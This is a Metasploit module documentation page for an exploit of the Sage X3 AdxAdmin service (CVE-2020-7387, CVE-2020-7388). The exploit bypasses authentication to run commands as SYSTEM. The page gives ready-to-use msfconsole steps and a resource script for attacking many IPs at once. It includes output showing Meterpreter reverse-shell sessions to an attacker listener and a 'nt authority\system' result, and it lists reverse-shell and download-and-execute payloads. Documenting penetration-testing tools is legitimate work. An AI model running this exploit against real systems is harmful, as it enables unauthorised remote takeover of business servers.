Sage X3 Administration Service Authentication Bypass Command Execution - Metasploit
This page contains detailed information about how to use the exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Sage X3 Administration Service Authentication Bypass Command Execution
Module: exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec
Source code: modules/exploits/windows/sage/x3_adxsrv_auth_bypass_cmd_exec.rb
Disclosure date: 2021-07-07
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 1818
List of CVEs: CVE-2020-7387, CVE-2020-7388
This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an available AdxAdmin service.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- first-attempt-fail: The module tends to fail to get a session on the first attempt.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using x3_adxsrv_auth_bypass_cmd_exec against a single host
Normally, you can use exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec this way:
msf > use exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec
msf exploit(x3_adxsrv_auth_bypass_cmd_exec) > show targets
... a list of targets ...
msf exploit(x3_adxsrv_auth_bypass_cmd_exec) > set TARGET target-id
msf exploit(x3_adxsrv_auth_bypass_cmd_exec) > show options
... show and set options ...
msf exploit(x3_adxsrv_auth_bypass_cmd_exec) > exploit
Using x3_adxsrv_auth_bypass_cmd_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your x3_adxsrv_auth_bypass_cmd_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration
protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an
available AdxAdmin service.
Setup
Not available.
Verification Steps
Scenarios
Sage X3 on Windows Server 2016
msf6 > use exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec
[*] Using configured payload cmd/windows/generic
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > options
Module options (exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 1818 yes The target port (TCP)
Payload options (cmd/windows/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD whoami yes The command string to execute
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > set rhosts 172.16.57.6
rhosts => 172.16.57.6
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > set rport 50000
rport => 50000
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > run
[*] 172.16.57.6:50000 - Connected
[+] 172.16.57.6:50000 - ADXDIR authentication successful.
[+] 172.16.57.6:50000 - Received directory info from host: D:\Sage\SafeX3\AdxAdmin
[+] 172.16.57.6:50000 - Command authentication successful.
[*] 172.16.57.6:50000 - Writing data
[+] 172.16.57.6:50000 - ------------ Response Received ------------
[*] 172.16.57.6:50000 - nt authority\system
[!] 172.16.57.6:50000 - This exploit may require manual cleanup of 'D:\Sage\SafeX3\AdxAdmin\tmp' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) >
Go back to menu.
Msfconsole Usage
Here is how the windows/sage/x3_adxsrv_auth_bypass_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec
[*] Using configured payload cmd/windows/generic
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > show info
Name: Sage X3 Administration Service Authentication Bypass Command Execution
Module: exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec
Platform: Windows
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2021-07-07
Provided by:
Jonathan Peterson <[email protected]>
Aaron Herndon
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
first-attempt-fail
Available targets:
Id Name
-- ----
0 Windows Command
1 Windows DLL
2 Windows Executable
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1818 yes The target port (TCP)
Payload information:
Description:
This module leverages an authentication bypass exploit within Sage
X3 AdxSrv's administration protocol to execute arbitrary commands as
SYSTEM against a Sage X3 Server running an available AdxAdmin
service.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-7387
https://nvd.nist.gov/vuln/detail/CVE-2020-7388
https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/
Module Options
This is a complete list of options available in the windows/sage/x3_adxsrv_auth_bypass_cmd_exec exploit:
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > show options
Module options (exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1818 yes The target port (TCP)
Payload options (cmd/windows/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD whoami yes The command string to execute
Exploit target:
Id Name
-- ----
0 Windows Command
Advanced Options
Here is a complete list of advanced options supported by the windows/sage/x3_adxsrv_auth_bypass_cmd_exec exploit:
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > show advanced
Module advanced options (exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/windows/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/sage/x3_adxsrv_auth_bypass_cmd_exec module can exploit:
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Command
1 Windows DLL
2 Windows Executable
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/sage/x3_adxsrv_auth_bypass_cmd_exec exploit:
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/windows/adduser normal No Windows Execute net user /ADD CMD
1 payload/cmd/windows/bind_lua normal No Windows Command Shell, Bind TCP (via Lua)
2 payload/cmd/windows/bind_perl normal No Windows Command Shell, Bind TCP (via Perl)
3 payload/cmd/windows/bind_perl_ipv6 normal No Windows Command Shell, Bind TCP (via perl) IPv6
4 payload/cmd/windows/bind_ruby normal No Windows Command Shell, Bind TCP (via Ruby)
5 payload/cmd/windows/download_eval_vbs normal No Windows Executable Download and Evaluate VBS
6 payload/cmd/windows/download_exec_vbs normal No Windows Executable Download and Execute (via .vbs)
7 payload/cmd/windows/generic normal No Windows Command, Generic Command Execution
8 payload/cmd/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
9 payload/cmd/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
10 payload/cmd/windows/reverse_lua normal No Windows Command Shell, Reverse TCP (via Lua)
11 payload/cmd/windows/reverse_perl normal No Windows Command, Double Reverse TCP Connection (via Perl)
12 payload/cmd/windows/reverse_powershell normal No Windows Command Shell, Reverse TCP (via Powershell)
13 payload/cmd/windows/reverse_ruby normal No Windows Command Shell, Reverse TCP (via Ruby)
14 payload/generic/custom normal No Custom Payload
15 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
16 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the windows/sage/x3_adxsrv_auth_bypass_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/sage/x3_adxsrv_auth_bypass_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
ADXDIR authentication failed
Here is a relevant code snippet related to the "ADXDIR authentication failed" error message:
96:
97: # recv response
98: res = s.read(1024)
99:
100: if res.nil? || res.length != 4
101: print_bad('ADXDIR authentication failed')
102: return CheckCode::Safe
103: end
104:
105: if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]
106: print_bad('ADXDIR authentication failed')
ADXDIR authentication failed
Here is a relevant code snippet related to the "ADXDIR authentication failed" error message:
101: print_bad('ADXDIR authentication failed')
102: return CheckCode::Safe
103: end
104:
105: if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]
106: print_bad('ADXDIR authentication failed')
107: return CheckCode::Safe
108: end
109:
110: print_good('ADXDIR authentication successful.')
111:
Directory message did not provide intended response
Here is a relevant code snippet related to the "Directory message did not provide intended response" error message:
147: revsagedir = sagedir.gsub('\\', '/')
148:
149: s.write("\x06\x00")
150: auth_resp = s.read(1024)
151:
152: fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4
153:
154: print_good('Command authentication successful.')
155:
156: # May require additional information such as file path
157: # this will be used for multiple messages
No data appeared to be returned, try again
Here is a relevant code snippet related to the "No data appeared to be returned, try again" error message:
302: s.write(delim1)
303: returned_data = s.recv(8096).strip!
304:
305: if returned_data.nil? || returned_data.empty?
306: disconnect
307: fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')
308: end
309:
310: print_good('------------ Response Received ------------')
311: print_status(returned_data)
312: disconnect
Go back to menu.
Related Pull Requests
References
- CVE-2020-7387
- CVE-2020-7388
- https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/
See Also
Check also the following modules related to this module:
- auxiliary/scanner/sage/x3_adxsrv_login
- exploit/android/browser/stagefright_mp4_tx3g_64bit
- exploit/windows/browser/x360_video_player_set_text_bof
- auxiliary/client/telegram/send_message
- auxiliary/scanner/http/openmind_messageos_login
- auxiliary/scanner/printer/printer_ready_message
- exploit/linux/local/exim4_deliver_message_priv_esc
- exploit/windows/brightstor/message_engine
- exploit/windows/brightstor/message_engine_72
- exploit/windows/brightstor/message_engine_heap
- payload/cmd/windows/powershell/messagebox
- payload/cmd/windows/powershell/x64/messagebox
- payload/windows/messagebox
- payload/windows/x64/messagebox
- post/osx/gather/enum_messages
Authors
- Jonathan Peterson <deadjakk[at]shell.rip>
- Aaron Herndon
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
